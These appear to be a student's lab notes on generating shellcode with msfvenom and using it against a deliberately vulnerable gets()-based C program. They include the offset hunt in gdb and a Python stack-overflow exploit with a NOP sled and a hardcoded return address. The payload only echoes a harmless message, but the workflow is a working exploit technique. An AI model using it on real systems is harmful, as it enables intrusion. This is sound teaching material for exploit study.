SHELLCODE
Shellcode is a sequence of bytes representing valid assembly instructions that can be injected into a program's memory and executed via a vulnerable function. It can perform simple tasks like displaying messages or malicious actions like opening backdoors, creating users, or connecting to a remote command-and-control server.
METHODS TO CREATING SHELLCODES
Writing a C program, converting it to assembly, extracting the hex bytes, and combining them into a shellcode file allows for custom, stealthy payloads that are more likely to bypass antivirus and detection tools. However, this method is time-consuming, harder to troubleshoot, and more complex than using pre-made shellcode.
MSFvenom is a Metasploit tool that generates and formats payloads for various platforms like Windows, Linux, and MacOS. It acts as a converter, taking Metasploit payloads and outputting them in formats suitable for different targets.
#since metasploit is not inherently installed in remnux, it need to be pulled or installed
#the easiest way to do this is to use docker
remnux@remnux:~$ docker pull metasploitframework/metasploit-framework
Using default tag: latest
latest: Pulling from metasploitframework/metasploit-framework
Digest: ...
Status: ...
docker.io/metasploitframework/metasploit-framework:latest
remnux@remnux:~$ docker run -it metasploitframework/metasploit-framework
* this cmd will run the metasploit container
* the -it allows you to interact w/ the container
- interactive teminal shell
msf6> quit
* the focus is on msfvenom so exit out of metasploit
remnux@remnux:~$ docker run -it metasploitframework/metasploit-framework
Error: no options
MsfVenom - a Metasploit standalone payload generator
...
* this launches the ./msvenom within the container
#map the folders of the container to the local system
remnux@remnux:~$ docker run -it -v "${HOME}/.msf4:/home/msf/.msf4" -v "${PWD}:/data" metasploitframework/metasploit-framework
local destination : container source
* the -v maps local system folders to container folders
- ${HOME}/.msf4 is on the local system (remnux)
- :/home/msf/.msf4 is on the container
- ${PWD} is on the local system (remnux)
- :/data is on the container
remnux@remnux:~$ #chown -R remnux:remnux ~/.msf4
#create a bashrc to alias all the container cmds
remnux@remnux:~$ sudo vim /home/remnux/.bashrc
...
#SELKS ALIASES
alias selks-start="sudo docker-compose -f /opt/SELKS/docker/docker-compose.yml up -d"
alias selks-stop="sudo docker-compose -f /opt/SELKS/docker/docker-compose.yml down"
alias clear-history="cat /dev/null > ~/.bash-history && history -c && exit"
alias msfvenom-docker='docker run -it -v "${HOME}/.msf4:/home/msf/.msf4" -v "${PWD}:/data" metasploitframework/metasploit-framework ./msfvenom'
* -it means interact w/ the terminal
* maps local directory (${HOME}/.msf4) into the docker container directory (/home/msf/.msf4"
* maps local directory (${PWD}) into the docker container directory (/data)
* calls the metasploitframework/metasploit-framework container
* issue the ./msfvenom cmd
vim# :wq!
remnux@remnux:~$ source ~/.bashrc
* this reloads the bashrc file
remnux@remnux:~$ msfvenom
Error: No options
...
* this is the expected output as the cmd must be issued with options
#generating shellcodes
remnux@remnux:~$ echo "hello, world"
* this is an example payload that will be used on the vulnerable program
remnux@remnux:~$
remnux@remnux:~$ msfvenom -n 16 -f raw -p linux/x86/exec CMD="echo hello, world"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Successfullly added NOP sled of size 16 from x86/single_byte
Payload size: 56 bytes
....
* this states create a nopsled of 16 bytes (this basically means do nothing and continue on)
- the above is very similar to hex 90s, but since \x90s are easily caught by defenders, the above is used instead
- \x90 is a very common NOP
* this gives out the raw bytes
* exec runs any application or cmds exactly as if we are doing this thing from a terminal
* cmd is the parameter that the particular payload requires
- the output isn't really as useful, so use python as output to be able to use the shellcode in a script
* the -n prepend a nopsled of [length] size on to the payload
- nopsled is a series of 1 byte valid assembly instructions
- the purpose is to give the dev code that is executable which gives a bigger
target to redirect the application to
- you need to be extremely precise (know the exeact memory location of the
function, and in correct order) in how you generate the payload IOT cause the
overflow which in turn redirects to the function (stack redirection)
30:36 shellcode video the other previous half is in my gitbook
remnux@remnux:~$ msfvenom -n 16 -f python -p linux/x86/exec CMD="echo hello, world"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Successfully added NOP sled of size 16 from x86/single_byte
Payload size: 56 bytes //this is what will be sent into the program
Final size of pythong file: 290 bytes
buf = b""
buf += b"\x27\xfc\x4a\x92....
remnux@remnux:~# msfvenom -n 16 -f python -p linux/x86/exec CMD="echo hello, world" -o /data/text.py
* since the /data on the container is mapped to the local PWD, the output of this
cmd will be dropped there
remnux@remnux:~$ ls
test.py
remnux@remnux:~# cp test.py ~/git-sre/binaries
* copy the shellcode file to where the exploitable program resides
remnux@remnux:~$ nano test.py
#linux/x86/exec CMD="echo hello, world" (size 56 bytes payload)
b = b""
buf += b"\x98\x4b\x98\x2f\xd6\xf8\x42\x4b\x98\x2f\x99\x42"
buf += b"\x4b\xf5\x93\xfc\x6a\x0b\x58\x99\x52\x66\x68\x2d"
buf += b"\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69"
buf += b"\x6e\x89\xe3\x52\xe8\x05\x00\x00\x00\x65\x63\x68"
buf += b"\x6f\x00\x57\x53\x89\xe1\xcd\x80"
#test vulnerable program
remnux@remnux:~$ nano 30_shellcode_256.c
//gcc -g -gno-stack-protector -z execstack 30_shellcode_256.c -o 30_shellcode_256.out
//gcc -g -m32 -fno-stack-protector -z execstack 30_shellcode_256.c -o 30_shellcode_256.out
#include <stdio.h>
#include <stdlib.h>
void echo(void)
{
printf("Enter some text:\n");
char buffer[256];
gets(buffer);
printf("%s\n", buffer);
return;
}
void main(void)
{
echo();
exit(0);
}
remnux@remnux:~$ ./30_shellcode_256.out
Enter some text:
asdf
remnux@remnux:~$ python3 pattern.py create 1024
...
* copy the output to clipboard
remnux@remnux:~$ gdb ./30_shellcode_256.out
gef> r
Starting program: ...
[*] ...
Enter some text:
{paste the non-repeating bytes generated by "pattern.py"}
...
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6a413969 //this is segfault address
* the idea is get the memory location of the overflowed memory address
gef> quit
remnux@remnux:~$ python3 ../resources/pattern.py offset 0x6a413969
hex pattern decoded as: b'i9Aj'
268 //this states that the program crashed @ 268 bytes
remnux@remnux:~$ nano test.py
import sys
#linux/x86/exec CMD="echo hello, world" (size 56 bytes payload) --- what endianness is this?
b = b""
buf += b"\x98\x4b\x98\x2f\xd6\xf8\x42\x4b\x98\x2f\x99\x42"
buf += b"\x4b\xf5\x93\xfc\x6a\x0b\x58\x99\x52\x66\x68\x2d"
buf += b"\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69"
buf += b"\x6e\x89\xe3\x52\xe8\x05\x00\x00\x00\x65\x63\x68"
buf += b"\x6f\x00\x57\x53\x89\xe1\xcd\x80"
...
#268 bytes to crash & overflow EBP+0x4 (which is the return address - RET)
#math to get exact nopsled to fill
#268 bytes of instruction is required to crach & overflow EBP+0x4 minus 56 bytes of
#payload w/ shellcode = 212 bytes to get to the return address
#so...212 bytes of NOPSLED + 56 bytes of payload = 268 bytes
buf += b"\x90" * 212
#get the four bytes of the location of our shellcode
buf += b"A" * 4 //this is a test code
* this is used for testing
#math
#i need 268 bytes and i ahve ...i need to fill in the next 212 bytes to get to the
#RET address which we will fill w/ our shell code
#print the contents of our buffer
sys.stdout.buffer.write(buf)
#test that the 272 bytes is working
vs code > terminal > new terminal
remnux@remnux:~$ python3 test.py
...
#output to a file
remnux@remnux:~$ python3 test.py > shellcode
remnux@remnux:~$ wc -c shellcode
272 shellcode
remnux@remnux:~$ xxd shellcode
00000000: 984b 982f d6f8 424b 982f 9942 4bf5 93fc ...
00000010: 6a0b 5899 5266 682d 6389 e768 2f73 6800 ...
00000020: 682f 6269 6e89 e352 e805 0000 0065 6368 ...
00000030: 6f00 5753 89e1 cd80 9090 9090 9090 9090 ...
00000040: 9090 9090 9090 9090 9090 9090 9090 9090 ...
...
* the section that starts from 984b 982f ... are the NOPSLED generated by msfvenom
* the section where 9090 starts are the NOPSLED generated by sre student
- if you're doing memory analysis and you see these 9090 NOPSLED in a memory
dump, this is going to be a huge giveaway that someone is doing a malicious
actions
- msfvenom gives you a different non-malicious looking NOPSLED
remnux@remnux:~$ gdb ./30_shellcode_256.out
...
gef> run < shellcode
...
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141 //this is exactly what we are looking for
* the program is trying to execute the instruction 0x41414141 which is an invalid memory location!
- this is where we are going to put out malicious shellcode
- this assumes that we have overwritten the RET address
- this is HOW WE can manipulate an address that we can control!
- take note that the $EIP is pointing to the 0x41414141 ("AAAA") which is the next instruction to be executed
#identify where the shellcode actually lives
gef> info func
All defined functions
File 30_shellcode_256.c
7: void echo(void):
17: void main(void):
gef> b *echo
Breakpoint 1 at ...
gef> run < shellcode
gef> d
...
* what you're looking for is after the function prologue, what is our EBP address
if you can find where EBP is, you can do the math to figure out where out
input is: eax, [ebp-0x108]
- or you can also read backwards
- 0x565561e3 <+42>: lea eax,[ebp-0x108]
0x565561e9 <+48>: push eax
0x565561ea <+49>: call 0x56556030 <gets@plt>
gef> b * 0x565561e9
Breakpoint 2 at ...
* the reason for this is to get the real EBP value that is past the function prologue
gef> c
#register section
$eax : 0xffffd010 -> 0xffffd064 -> 0x00000000
...
#code section
0x565561e3 <echo+42> lea eax,[ebp+0x108]
*-> 0x565561e9 <echo+48> push eax
0x565561ea <echo+49> call 0x56556030 <gets@plt>
* this shows that at echo+42, the address of EBP was loaded into eax
- eax now has the real address of EBP which is found in the register section
0xffffd010
#double check
gef> x /xw $ebp-0x108
0xffffd010
* copy this value
remnux@remnux:~$ nano test.py
import sys
#linux/x86/exec CMD="echo hello, world" (size 56 bytes payload) --- what endianness is this?
b = b""
buf += b"\x98\x4b\x98\x2f\xd6\xf8\x42\x4b\x98\x2f\x99\x42"
buf += b"\x4b\xf5\x93\xfc\x6a\x0b\x58\x99\x52\x66\x68\x2d"
buf += b"\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69"
buf += b"\x6e\x89\xe3\x52\xe8\x05\x00\x00\x00\x65\x63\x68"
buf += b"\x6f\x00\x57\x53\x89\xe1\xcd\x80"
...
#268 bytes to crash & overflow EBP+0x4 (which is the return address - RET)
#math to get exact nopsled to fill
#268 bytes of instruction is required to crach & overflow EBP+0x4 minus 56 bytes of
#payload w/ shellcode = 212 bytes to get to the return address
#so...212 bytes of NOPSLED + 56 bytes of payload = 268 bytes
buf += b"\x90" * 212
#get the four bytes of the location of our shellcode
#shellcode starts at 0xffffd010 the original test code of buf += b"A" * 4, specifically
#the four A's at 'b"A" need to be replaced with the memory address ffffd010
#eip should eventually execute that memory location which will contain the actuall
#shellcode to produce the currently non-malicious instruction "hello, world"
buf += b"\x10\xd0\xff\xff"
* Note: the address ff ff d0 10 need to be in little endian format!
- simply put...flip the order of the bytes and not the contents of the bytes!
#math
#i need 268 bytes and i ahve ...i need to fill in the next 212 bytes to get to the
#RET address which we will fill w/ our shell code
#print the contents of our buffer
sys.stdout.buffer.write(buf)
remnux@remnux:~$ python3 test.py > shellcode
remnux@remnux:~$ wc -c shellcode
272 shellcode
remnux@remnux:~$ i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x565561b9 in echo at 30_shellcode_256.c:8
...
2 breakpoint keep y 0x565561e9 in echo at 30_shellcode_256.c:11
remnux@remnux:~$ dis
* disable all breakpoint as it is not required anymore
remnux@remnux:~$ run
...
&**** fix the shellcode
remnux@remnux:~$ msfvenom -n 16 -f python -b '\x00\xff' -p linux/x86/exec CMD="/bin/date"
- get a list of bad characters to avoid
- you may get erros if -b is not used
left at 42:00
#old
msfvenom -n 16 -f python -p linux/x86/exec CMD="echo hello, world" -o /data/text.py
* given a piece of shellcode and knowing its size, being able to prefix it with a NOPSLED and pad it with a NOPSLED
so you have NOP on either side to fill a buffer, and once the buffer is full, its
just a simle of overwriting the return address then making it point to the shellcode
PROCESS
1.identify the buffer size on the exploitable program (binary)
2.
3.
Last updated